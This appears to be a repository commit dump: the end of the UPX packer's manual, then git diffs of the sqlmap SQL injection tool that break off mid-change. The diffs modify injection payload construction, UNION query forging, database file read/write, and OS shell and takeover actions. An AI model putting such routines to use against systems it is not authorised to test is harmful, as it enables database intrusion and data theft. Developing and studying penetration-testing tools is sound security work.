<pre>
- UPX can compress all executables, be it AOUT, ELF, libc4, libc5,
libc6, Shell/Perl/Python/... scripts, standalone Java .class
binaries, or whatever...
All scripts and programs will work just as before.</pre>
<pre>
- Compressed programs are completely self-contained. No need for
any external program.</pre>
<pre>
- UPX keeps your original program untouched. This means that
after decompression you will have a byte-identical version,
and you can use UPX as a file compressor just like gzip.
[ Note that UPX maintains a checksum of the file internally,
so it is indeed a reliable alternative. ]</pre>
<pre>
- As the stub only uses syscalls and isn't linked against libc it
should run under any Linux configuration that can run ELF
binaries.</pre>
<pre>
- For the same reason compressed executables should run under
FreeBSD and other systems which can run Linux binaries.
[ Please send feedback on this topic ]</pre>
<p>General drawbacks:</p>
<pre>
- It is not advisable to compress programs which usually have many
instances running (like `sh' or `make') because the common segments of
compressed programs won't be shared any longer between different
processes.</pre>
<pre>
- `ldd' and `size' won't show anything useful because all they
see is the statically linked stub. Since version 0.82 the section
headers are stripped from the UPX stub and `size' doesn't even
recognize the file format. The file patches/patch-elfcode.h has a
patch to fix this bug in `size' and other programs which use GNU BFD.</pre>
<p>General notes:</p>
<pre>
- As UPX leaves your original program untouched it is advantageous
to strip it before compression.</pre>
<pre>
- If you compress a script you will lose platform independence -
this could be a problem if you are using NFS mounted disks.</pre>
<pre>
- Compression of suid, guid and sticky-bit programs is rejected
because of possible security implications.</pre>
<pre>
- For the same reason there is no sense in making any compressed
program suid.</pre>
<pre>
- Obviously UPX won't work with executables that want to read data
from themselves. E.g., this might be a problem for Perl scripts
which access their __DATA__ lines.</pre>
<pre>
- In case of internal errors the stub will abort with exitcode 127.
Typical reasons for this to happen are that the program has somehow
been modified after compression.
Running `strace -o strace.log compressed_file' will tell you more.</pre>
<p>
</p>
<h2><a name="notes_for_linux_elf386">NOTES FOR LINUX/ELF386</a></h2>
<p>Please read the general Linux description first.</p>
<p>The linux/elf386 format decompresses directly into RAM,
uses only one exec, does not use space in /tmp,
and does not use /proc.</p>
<p>Linux/elf386 is automatically selected for Linux ELF executables.</p>
<p>Packed programs will be byte-identical to the original after uncompression.</p>
<p>How it works:</p>
<pre>
For ELF executables, UPX decompresses directly to memory, simulating
the mapping that the operating system kernel uses during exec(),
including the PT_INTERP program interpreter (if any).
The brk() is set by a special PT_LOAD segment in the compressed
executable itself. UPX then wipes the stack clean except for
arguments, environment variables, and Elf_auxv entries (this is
required by bugs in the startup code of /lib/ld-linux.so as of
May 2000), and transfers control to the program interpreter or
the e_entry address of the original executable.</pre>
<pre>
The UPX stub is about 1700 bytes long, partly written in assembler
and only uses kernel syscalls. It is not linked against any libc.</pre>
<p>Specific drawbacks:</p>
<pre>
- For linux/elf386 and linux/sh386 formats, you will be relying on
RAM and swap space to hold all of the decompressed program during
the lifetime of the process. If you already use most of your swap
space, then you may run out. A system that is &quot;out of memory&quot;
can become fragile. Many programs do not react gracefully when
malloc() returns 0. With newer Linux kernels, the kernel
may decide to kill some processes to regain memory, and you
may not like the kernel's choice of which to kill. Running
/usr/bin/top is one way to check on the usage of swap space.</pre>
<p>Extra options available for this executable format:</p>
<pre>
(none)</pre>
<p>
</p>
<h2><a name="notes_for_linux_sh386">NOTES FOR LINUX/SH386</a></h2>
<p>Please read the general Linux description first.</p>
<p>Shell scripts where the underling shell accepts a ``-c'' argument
can use the Linux/sh386 format. <strong>UPX</strong> decompresses the shell script
into low memory, then maps the shell and passes the entire text of the
script as an argument with a leading ``-c''.
It does not use space in /tmp, and does not use /proc.</p>
<p>Linux/sh386 is automatically selected for shell scripts that
use a known shell.</p>
<p>Packed programs will be byte-identical to the original after uncompression.</p>
<p>How it works:</p>
<pre>
For shell script executables (files beginning with &quot;#!/&quot; or &quot;#! /&quot;)
where the shell is known to accept &quot;-c &lt;command&gt;&quot;, UPX decompresses
the file into low memory, then maps the shell (and its PT_INTERP),
and passes control to the shell with the entire decompressed file
as the argument after &quot;-c&quot;. Known shells are sh, ash, bash, bsh, csh,
ksh, tcsh, pdksh. Restriction: UPX cannot use this method
for shell scripts which use the one optional string argument after
the shell name in the script (example: &quot;#! /bin/sh option3\n&quot;.)</pre>
<pre>
The UPX stub is about 1700 bytes long, partly written in assembler
and only uses kernel syscalls. It is not linked against any libc.</pre>
<p>Specific drawbacks:</p>
<pre>
- For linux/elf386 and linux/sh386 formats, you will be relying on
RAM and swap space to hold all of the decompressed program during
the lifetime of the process. If you already use most of your swap
space, then you may run out. A system that is &quot;out of memory&quot;
can become fragile. Many programs do not react gracefully when
malloc() returns 0. With newer Linux kernels, the kernel
may decide to kill some processes to regain memory, and you
may not like the kernel's choice of which to kill. Running
/usr/bin/top is one way to check on the usage of swap space.</pre>
<p>Extra options available for this executable format:</p>
<pre>
(none)</pre>
<p>
</p>
<h2><a name="notes_for_linux_386">NOTES FOR LINUX/386</a></h2>
<p>Please read the general Linux description first.</p>
<p>The generic linux/386 format decompresses to /tmp and needs
/proc file system support. It starts the decompressed program
via the <code>execve()</code> syscall.</p>
<p>Linux/386 is only selected if the specialized linux/elf386
and linux/sh386 won't recognize a file.</p>
<p>Packed programs will be byte-identical to the original after uncompression.</p>
<p>How it works:</p>
<pre>
For files which are not ELF and not a script for a known &quot;-c&quot; shell,
UPX uses kernel execve(), which first requires decompressing to a
temporary file in the file system. Interestingly -
because of the good memory management of the Linux kernel - this
often does not introduce a noticeable delay, and in fact there
will be no disk access at all if you have enough free memory as
the entire process takes places within the file system buffers.</pre>
<pre>
A compressed executable consists of the UPX stub and an overlay
which contains the original program in a compressed form.</pre>
<pre>
The UPX stub is a statically linked ELF executable and does
the following at program startup:</pre>
<pre>
1) decompress the overlay to a temporary location in /tmp
2) open the temporary file for reading
3) try to delete the temporary file and start (execve)
the uncompressed program in /tmp using /proc/&lt;pid&gt;/fd/X as
attained by step 2)
4) if that fails, fork off a subprocess to clean up and
start the program in /tmp in the meantime</pre>
<pre>
The UPX stub is about 1700 bytes long, partly written in assembler
and only uses kernel syscalls. It is not linked against any libc.</pre>
<p>Specific drawbacks:</p>
<pre>
- You need additional free disk space for the uncompressed program
in your /tmp directory. This program is deleted immediately after
decompression, but you still need it for the full execution time
of the program.</pre>
<pre>
- You must have /proc file system support as the stub wants to open
/proc/&lt;pid&gt;/exe and needs /proc/&lt;pid&gt;/fd/X. This also means that you
cannot compress programs that are used during the boot sequence
before /proc is mounted.</pre>
<pre>
- Utilities like `top' will display numerical values in the process
name field. This is because Linux computes the process name from
the first argument of the last execve syscall (which is typically
something like /proc/&lt;pid&gt;/fd/3).</pre>
<pre>
- Because of temporary decompression to disk the decompression speed
is not as fast as with the other executable formats. Still, I can see
no noticeable delay when starting programs like my ~3 MiB emacs (which
is less than 1 MiB when compressed :-).</pre>
<p>Extra options available for this executable format:</p>
<pre>
--force-execve Force the use of the generic linux/386 &quot;execve&quot;
format, i.e. do not try the linux/elf386 and
linux/sh386 formats.</pre>
<p>
</p>
<h2><a name="notes_for_ps1_exe">NOTES FOR PS1/EXE</a></h2>
<p>This is the executable format used by the Sony PlayStation (PSone),
a Mips R3000 based gaming console which is popular since the late '90s.
Support of this format is very similar to the Atari one, because of
nostalgic feelings of one of the authors.</p>
<p>Packed programs will be byte-identical to the original after uncompression,
until further notice.</p>
<p>Maximum uncompressed size: ~1.89 / ~7.60 MiB.</p>
<p>Notes:</p>
<pre>
- UPX creates as default a suitable executable for CD-Mastering
and console transfer. For a CD-Master main executable you could also try
the special option &quot;--boot-only&quot; as described below.
It has been reported that upx packed executables are fully compatible with
the Sony PlayStation 2 (PS2, PStwo) and Sony PlayStation Portable (PSP) in
Sony PlayStation (PSone) emulation mode.</pre>
<pre>
- Normally the packed files use the same memory areas like the uncompressed
versions, so they will not override other memory areas while unpacking.
If this isn't possible UPX will abort showing a 'packed data overlap'
error. With the &quot;--force&quot; option UPX will relocate the loading address
for the packed file, but this isn't a real problem if it is a single or
the main executable.</pre>
<p>Extra options available for this executable format:</p>
<pre>
--all-methods Compress the program several times, using all
available compression methods. This may improve
the compression ratio in some cases, but usually
the default method gives the best results anyway.</pre>
<pre>
--8-bit Uses 8 bit size compression [default: 32 bit]</pre>
<pre>
--8mib-ram PSone has 8 MiB ram available [default: 2 MiB]</pre>
<pre>
--boot-only This format is for main exes and CD-Mastering only !
It may slightly improve the compression ratio,
decompression routines are faster than default ones.
But it cannot be used for console transfer !</pre>
<pre>
--no-align This option disables CD mode 2 data sector format
alignment. May slightly improves the compression ratio,
but the compressed executable will not boot from a CD.
Use it for console transfer only !</pre>
<p>
</p>
<h2><a name="notes_for_rtm32_pe_and_arm_pe">NOTES FOR RTM32/PE and ARM/PE</a></h2>
<p>Same as win32/pe.</p>
<p>
</p>
<h2><a name="notes_for_tmt_adam">NOTES FOR TMT/ADAM</a></h2>
<p>This format is used by the TMT Pascal compiler - see <a href="http://www.tmt.com/">http://www.tmt.com/</a> .</p>
<p>Extra options available for this executable format:</p>
<pre>
--all-methods Compress the program several times, using all
available compression methods. This may improve
the compression ratio in some cases, but usually
the default method gives the best results anyway.</pre>
<pre>
--all-filters Compress the program several times, using all
available preprocessing filters. This may improve
the compression ratio in some cases, but usually
the default filter gives the best results anyway.</pre>
<p>
</p>
<h2><a name="notes_for_vmlinuz_386">NOTES FOR VMLINUZ/386</a></h2>
<p>The vmlinuz/386 and bvmlinuz/386 formats take a gzip-compressed
bootable Linux kernel image (``vmlinuz'', ``zImage'', ``bzImage''),
gzip-decompress it and re-compress it with the <strong>UPX</strong> compression method.</p>
<p>vmlinuz/386 is completely unrelated to the other Linux executable
formats, and it does not share any of their drawbacks.</p>
<p>Notes:</p>
<pre>
- Be sure that &quot;vmlinuz/386&quot; or &quot;bvmlinuz/386&quot; is displayed
during compression - otherwise a wrong executable format
may have been used, and the kernel won't boot.</pre>
<p>Benefits:</p>
<pre>
- Better compression (but note that the kernel was already compressed,
so the improvement is not as large as with other formats).
Still, the bytes saved may be essential for special needs like
boot disks.</pre>
<pre>
For example, this is what I get for my 2.2.16 kernel:
1589708 vmlinux
641073 bzImage [original]
560755 bzImage.upx [compressed by &quot;upx -9&quot;]</pre>
<pre>
- Much faster decompression at kernel boot time (but kernel
decompression speed is not really an issue these days).</pre>
<p>Drawbacks:</p>
<pre>
(none)</pre>
<p>Extra options available for this executable format:</p>
<pre>
--all-methods Compress the program several times, using all
available compression methods. This may improve
the compression ratio in some cases, but usually
the default method gives the best results anyway.</pre>
<pre>
--all-filters Compress the program several times, using all
available preprocessing filters. This may improve
the compression ratio in some cases, but usually
the default filter gives the best results anyway.</pre>
<p>
</p>
<h2><a name="notes_for_watcom_le">NOTES FOR WATCOM/LE</a></h2>
<p><strong>UPX</strong> has been successfully tested with the following extenders:
DOS4G, DOS4GW, PMODE/W, DOS32a, CauseWay.
The WDOS/X extender is partly supported (for details
see the file bugs BUGS).</p>
<p>DLLs and the LX format are not supported.</p>
<p>Extra options available for this executable format:</p>
<pre>
--le Produce an unbound LE output instead of
keeping the current stub.</pre>
<p>
</p>
<h2><a name="notes_for_win32_pe">NOTES FOR WIN32/PE</a></h2>
<p>The PE support in <strong>UPX</strong> is quite stable now, but probably there are
still some incompatibilities with some files.</p>
<p>Because of the way <strong>UPX</strong> (and other packers for this format) works, you
can see increased memory usage of your compressed files because the whole
program is loaded into memory at startup.
If you start several instances of huge compressed programs you're
wasting memory because the common segments of the program won't
get shared across the instances.
On the other hand if you're compressing only smaller programs, or
running only one instance of larger programs, then this penalty is
smaller, but it's still there.</p>
<p>If you're running executables from network, then compressed programs
will load faster, and require less bandwidth during execution.</p>
<p>DLLs are supported. But UPX compressed DLLs can not share common data and
code when they got used by multiple applications. So compressing msvcrt.dll
is a waste of memory, but compressing the dll plugins of a particular
application may be a better idea.</p>
<p>Screensavers are supported, with the restriction that the filename
must end with ``.scr'' (as screensavers are handled slightly different
than normal exe files).</p>
<p>UPX compressed PE files have some minor memory overhead (usually in the
10 - 30 KiB range) which can be seen by specifying the ``-i'' command
line switch during compression.</p>
<p>Extra options available for this executable format:</p>
<pre>
--compress-exports=0 Don't compress the export section.
Use this if you plan to run the compressed
program under Wine.
--compress-exports=1 Compress the export section. [DEFAULT]
Compression of the export section can improve the
compression ratio quite a bit but may not work
with all programs (like winword.exe).
UPX never compresses the export section of a DLL
regardless of this option.</pre>
<pre>
--compress-icons=0 Don't compress any icons.
--compress-icons=1 Compress all but the first icon.
--compress-icons=2 Compress all icons which are not in the
first icon directory. [DEFAULT]
--compress-icons=3 Compress all icons.</pre>
<pre>
--compress-resources=0 Don't compress any resources at all.</pre>
<pre>
--keep-resource=list Don't compress resources specified by the list.
The members of the list are separated by commas.
A list member has the following format: I&lt;type[/name]&gt;.
I&lt;Type&gt; is the type of the resource. Standard types
must be specified as decimal numbers, user types can be
specified by decimal IDs or strings. I&lt;Name&gt; is the
identifier of the resource. It can be a decimal number
or a string. For example:</pre>
<pre>
--keep-resource=2/MYBITMAP,5,6/12345</pre>
<pre>
UPX won't compress the named bitmap resource &quot;MYBITMAP&quot;,
it leaves every dialog (5) resource uncompressed, and
it won't touch the string table resource with identifier
12345.</pre>
<pre>
--force Force compression even when there is an
unexpected value in a header field.
Use with care.</pre>
<pre>
--strip-relocs=0 Don't strip relocation records.
--strip-relocs=1 Strip relocation records. [DEFAULT]
This option only works on executables with base
address greater or equal to 0x400000. Usually the
compressed files becomes smaller, but some files
may become larger. Note that the resulting file will
not work under Windows 3.x (Win32s).
UPX never strips relocations from a DLL
regardless of this option.</pre>
<pre>
--all-methods Compress the program several times, using all
available compression methods. This may improve
the compression ratio in some cases, but usually
the default method gives the best results anyway.</pre>
<pre>
--all-filters Compress the program several times, using all
available preprocessing filters. This may improve
the compression ratio in some cases, but usually
the default filter gives the best results anyway.</pre>
<p>
</p>
<hr />
<h1><a name="diagnostics">DIAGNOSTICS</a></h1>
<p>Exit status is normally 0; if an error occurs, exit status
is 1. If a warning occurs, exit status is 2.</p>
<p><strong>UPX</strong>'s diagnostics are intended to be self-explanatory.</p>
<p>
</p>
<hr />
<h1><a name="bugs">BUGS</a></h1>
<p>Please report all bugs immediately to the authors.</p>
<p>
</p>
<hr />
<h1><a name="authors">AUTHORS</a></h1>
<pre>
Markus F.X.J. Oberhumer &lt;markus@oberhumer.com&gt;
<a href="http://www.oberhumer.com">http://www.oberhumer.com</a></pre>
<pre>
Laszlo Molnar &lt;ml1050@users.sourceforge.net&gt;</pre>
<pre>
John F. Reiser &lt;jreiser@BitWagon.com&gt;</pre>
<pre>
Jens Medoch &lt;jssg@users.sourceforge.net&gt;</pre>
<p>
</p>
<hr />
<h1><a name="copyright">COPYRIGHT</a></h1>
<p>Copyright (C) 1996-2008 Markus Franz Xaver Johannes Oberhumer</p>
<p>Copyright (C) 1996-2008 Laszlo Molnar</p>
<p>Copyright (C) 2000-2008 John F. Reiser</p>
<p>Copyright (C) 2002-2008 Jens Medoch</p>
<p>This program may be used freely, and you are welcome to
redistribute it under certain conditions.</p>
<p>This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
<strong>UPX License Agreement</strong> for more details.</p>
<p>You should have received a copy of the UPX License Agreement along
with this program; see the file LICENSE. If not, visit the UPX home page.</p>
</body>
</html>

BIN
lib/contrib/upx/linux/upx Executable file

Binary file not shown.

BIN
lib/contrib/upx/windows/upx.exe Executable file

Binary file not shown.

View File

@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free

View File

@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
@ -77,7 +77,7 @@ def action():
if conf.timeTest:
dumper.string("time based blind sql injection payload", timeTest())
if conf.unionTest:
if ( conf.unionUse or conf.unionTest ) and not kb.unionPosition:
dumper.string("valid union", unionTest())
# Enumeration options
@ -127,11 +127,27 @@ def action():
# File system options
if conf.rFile:
dumper.string(conf.rFile, conf.dbmsHandler.readFile(conf.rFile))
dumper.string("%s file saved to" % conf.rFile, conf.dbmsHandler.readFile(conf.rFile), sort=False)
if conf.wFile:
dumper.string(conf.wFile, conf.dbmsHandler.writeFile(conf.wFile))
conf.dbmsHandler.writeFile(conf.wFile, conf.dFile, conf.wFileType)
# Operating system options
if conf.osCmd:
conf.dbmsHandler.osCmd()
# Takeover options
if conf.osShell:
conf.dbmsHandler.osShell()
if conf.osPwn:
conf.dbmsHandler.osPwn()
if conf.osSmb:
conf.dbmsHandler.osSmb()
if conf.osBof:
conf.dbmsHandler.osBof()
# Miscellaneous options
if conf.cleanup:
conf.dbmsHandler.cleanup()

View File

@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free

View File

@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
@ -65,7 +65,7 @@ def __selectInjection(injData):
message += "\n"
message += "[q] Quit\nChoice: "
message += "[q] Quit"
select = readInput(message, default="0")
if not select:
@ -126,7 +126,7 @@ def start():
if conf.data:
message += "\nPOST data: %s" % conf.data
message += "\ndo you want to test this url? [Y/n/q] "
message += "\ndo you want to test this url? [Y/n/q]"
test = readInput(message, default="Y")
if not test:
@ -186,13 +186,23 @@ def start():
paramDict = conf.paramDict[place]
for parameter, value in paramDict.items():
if not checkDynParam(place, parameter, value):
testSqlInj = True
# Avoid dinamicity test if the user provided the
# parameter manually
if parameter in conf.testParameter:
pass
elif not checkDynParam(place, parameter, value):
warnMsg = "%s parameter '%s' is not dynamic" % (place, parameter)
logger.warn(warnMsg)
testSqlInj = False
else:
logMsg = "%s parameter '%s' is dynamic" % (place, parameter)
logger.info(logMsg)
if testSqlInj == True:
for parenthesis in range(0, 4):
logMsg = "testing sql injection on %s " % place
logMsg += "parameter '%s' with " % parameter

View File

@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
@ -57,7 +57,9 @@ def setHandler():
if conf.dbms and conf.dbms not in dbmsAliases:
debugMsg = "skipping test for %s" % dbmsNames[count]
logger.debug(debugMsg)
count += 1
continue
dbmsHandler = dbmsEntry()

View File

@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free

View File

@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
@ -47,28 +47,32 @@ class Agent:
temp.stop = randomStr(6)
def payload(self, place=None, parameter=None, value=None, newValue=None, negative=False):
def payload(self, place=None, parameter=None, value=None, newValue=None, negative=False, falseCond=False):
"""
This method replaces the affected parameter with the SQL
injection statement to request
"""
negValue = ""
retValue = ""
falseValue = ""
negValue = ""
retValue = ""
if negative == True or conf.paramNegative == True:
negValue = "-"
elif falseCond == True or conf.paramFalseCond == True:
randInt = randomInt()
falseValue = " AND %d=%d" % (randInt, randInt + 1)
# After identifing the injectable parameter
if kb.injPlace == "User-Agent":
retValue = kb.injParameter.replace(kb.injParameter,
"%s%s" % (negValue, kb.injParameter + newValue))
"%s%s" % (negValue, kb.injParameter + falseValue + newValue))
elif kb.injParameter:
paramString = conf.parameters[kb.injPlace]
paramDict = conf.paramDict[kb.injPlace]
value = paramDict[kb.injParameter]
retValue = paramString.replace("%s=%s" % (kb.injParameter, value),
"%s=%s%s" % (kb.injParameter, negValue, value + newValue))
"%s=%s%s" % (kb.injParameter, negValue, value + falseValue + newValue))
# Before identifing the injectable parameter
elif parameter == "User-Agent":
@ -259,6 +263,7 @@ class Agent:
fieldsSelectTop = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", query, re.I)
fieldsSelectDistinct = re.search("\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", query, re.I)
fieldsSelectCase = re.search("\ASELECT\s+(\(CASE WHEN\s+.+\s+END\))", query, re.I)
fieldsSelectFrom = re.search("\ASELECT\s+(.+?)\s+FROM\s+", query, re.I)
fieldsSelect = re.search("\ASELECT\s+(.*)", query, re.I)
fieldsNoSelect = query
@ -267,6 +272,8 @@ class Agent:
fieldsToCastStr = fieldsSelectTop.groups()[0]
elif fieldsSelectDistinct:
fieldsToCastStr = fieldsSelectDistinct.groups()[0]
elif fieldsSelectCase:
fieldsToCastStr = fieldsSelectCase.groups()[0]
elif fieldsSelectFrom:
fieldsToCastStr = fieldsSelectFrom.groups()[0]
elif fieldsSelect:
@ -281,10 +288,25 @@ class Agent:
#if query.startswith("SELECT ") and "(SELECT " in query:
# fieldsSelectFrom = None
return fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsToCastList, fieldsToCastStr
return fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, fieldsToCastList, fieldsToCastStr
def concatQuery(self, query):
def simpleConcatQuery(self, query1, query2):
concatenatedQuery = ""
if kb.dbms == "MySQL":
concatenatedQuery = "CONCAT(%s,%s)" % (query1, query2)
elif kb.dbms in ( "PostgreSQL", "Oracle" ):
concatenatedQuery = "%s||%s" % (query1, query2)
elif kb.dbms == "Microsoft SQL Server":
concatenatedQuery = "%s+%s" % (query1, query2)
return concatenatedQuery
def concatQuery(self, query, unpack=True):
"""
Take in input a query string and return its processed nulled,
casted and concatenated query string.
@ -310,54 +332,67 @@ class Agent:
@rtype: C{str}
"""
concatQuery = ""
query = query.replace(", ", ",")
if unpack == True:
concatenatedQuery = ""
query = query.replace(", ", ",")
fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, _, fieldsToCastStr = self.getFields(query)
castedFields = self.nullCastConcatFields(fieldsToCastStr)
concatQuery = query.replace(fieldsToCastStr, castedFields, 1)
fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, _, fieldsToCastStr = self.getFields(query)
castedFields = self.nullCastConcatFields(fieldsToCastStr)
concatenatedQuery = query.replace(fieldsToCastStr, castedFields, 1)
else:
concatenatedQuery = query
fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, _, fieldsToCastStr = self.getFields(query)
if kb.dbms == "MySQL":
if fieldsSelectFrom:
concatQuery = concatQuery.replace("SELECT ", "CONCAT('%s'," % temp.start, 1)
concatQuery = concatQuery.replace(" FROM ", ",'%s') FROM " % temp.stop, 1)
if fieldsSelectCase:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % temp.start, 1)
concatenatedQuery += ",'%s')" % temp.stop
elif fieldsSelectFrom:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % temp.start, 1)
concatenatedQuery = concatenatedQuery.replace(" FROM ", ",'%s') FROM " % temp.stop, 1)
elif fieldsSelect:
concatQuery = concatQuery.replace("SELECT ", "CONCAT('%s'," % temp.start, 1)
concatQuery += ",'%s')" % temp.stop
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % temp.start, 1)
concatenatedQuery += ",'%s')" % temp.stop
elif fieldsNoSelect:
concatQuery = "CONCAT('%s',%s,'%s')" % (temp.start, concatQuery, temp.stop)
concatenatedQuery = "CONCAT('%s',%s,'%s')" % (temp.start, concatenatedQuery, temp.stop)
elif kb.dbms in ( "PostgreSQL", "Oracle" ):
if fieldsSelectFrom:
concatQuery = concatQuery.replace("SELECT ", "'%s'||" % temp.start, 1)
concatQuery = concatQuery.replace(" FROM ", "||'%s' FROM " % temp.stop, 1)
if fieldsSelectCase:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % temp.start, 1)
concatenatedQuery += "||'%s'" % temp.stop
elif fieldsSelectFrom:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % temp.start, 1)
concatenatedQuery = concatenatedQuery.replace(" FROM ", "||'%s' FROM " % temp.stop, 1)
elif fieldsSelect:
concatQuery = concatQuery.replace("SELECT ", "'%s'||" % temp.start, 1)
concatQuery += "||'%s'" % temp.stop
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % temp.start, 1)
concatenatedQuery += "||'%s'" % temp.stop
elif fieldsNoSelect:
concatQuery = "'%s'||%s||'%s'" % (temp.start, concatQuery, temp.stop)
concatenatedQuery = "'%s'||%s||'%s'" % (temp.start, concatenatedQuery, temp.stop)
if kb.dbms == "Oracle" and " FROM " not in concatQuery and ( fieldsSelect or fieldsNoSelect ):
concatQuery += " FROM DUAL"
if kb.dbms == "Oracle" and " FROM " not in concatenatedQuery and ( fieldsSelect or fieldsNoSelect ):
concatenatedQuery += " FROM DUAL"
elif kb.dbms == "Microsoft SQL Server":
if fieldsSelectTop:
topNum = re.search("\ASELECT\s+TOP\s+([\d]+)\s+", concatQuery, re.I).group(1)
concatQuery = concatQuery.replace("SELECT TOP %s " % topNum, "TOP %s '%s'+" % (topNum, temp.start), 1)
concatQuery = concatQuery.replace(" FROM ", "+'%s' FROM " % temp.stop, 1)
topNum = re.search("\ASELECT\s+TOP\s+([\d]+)\s+", concatenatedQuery, re.I).group(1)
concatenatedQuery = concatenatedQuery.replace("SELECT TOP %s " % topNum, "TOP %s '%s'+" % (topNum, temp.start), 1)
concatenatedQuery = concatenatedQuery.replace(" FROM ", "+'%s' FROM " % temp.stop, 1)
elif fieldsSelectCase:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % temp.start, 1)
concatenatedQuery += "+'%s'" % temp.stop
elif fieldsSelectFrom:
concatQuery = concatQuery.replace("SELECT ", "'%s'+" % temp.start, 1)
concatQuery = concatQuery.replace(" FROM ", "+'%s' FROM " % temp.stop, 1)
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % temp.start, 1)
concatenatedQuery = concatenatedQuery.replace(" FROM ", "+'%s' FROM " % temp.stop, 1)
elif fieldsSelect:
concatQuery = concatQuery.replace("SELECT ", "'%s'+" % temp.start, 1)
concatQuery += "+'%s'" % temp.stop
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % temp.start, 1)
concatenatedQuery += "+'%s'" % temp.stop
elif fieldsNoSelect:
concatQuery = "'%s'+%s+'%s'" % (temp.start, concatQuery, temp.stop)
concatenatedQuery = "'%s'+%s+'%s'" % (temp.start, concatenatedQuery, temp.stop)
return concatQuery
return concatenatedQuery
def forgeInbandQuery(self, query, exprPosition=None):
def forgeInbandQuery(self, query, exprPosition=None, nullChar="NULL"):
"""
Take in input an query (pseudo query) string and return its
processed UNION ALL SELECT query.
@ -398,6 +433,12 @@ class Agent:
if not exprPosition:
exprPosition = kb.unionPosition
intoRegExp = re.search("(\s+INTO (DUMP|OUT)FILE\s+\'(.+?)\')", query, re.I)
if intoRegExp:
intoRegExp = intoRegExp.group(1)
query = query[:query.index(intoRegExp)]
if kb.dbms == "Oracle" and inbandQuery.endswith(" FROM DUAL"):
inbandQuery = inbandQuery[:-len(" FROM DUAL")]
@ -406,15 +447,15 @@ class Agent:
inbandQuery += ", "
if element == exprPosition:
if " FROM " in query and not query.startswith("SELECT "):
if " FROM " in query and not query.startswith("SELECT ") and "(CASE WHEN (" not in query:
conditionIndex = query.index(" FROM ")
inbandQuery += query[:conditionIndex]
else:
inbandQuery += query
else:
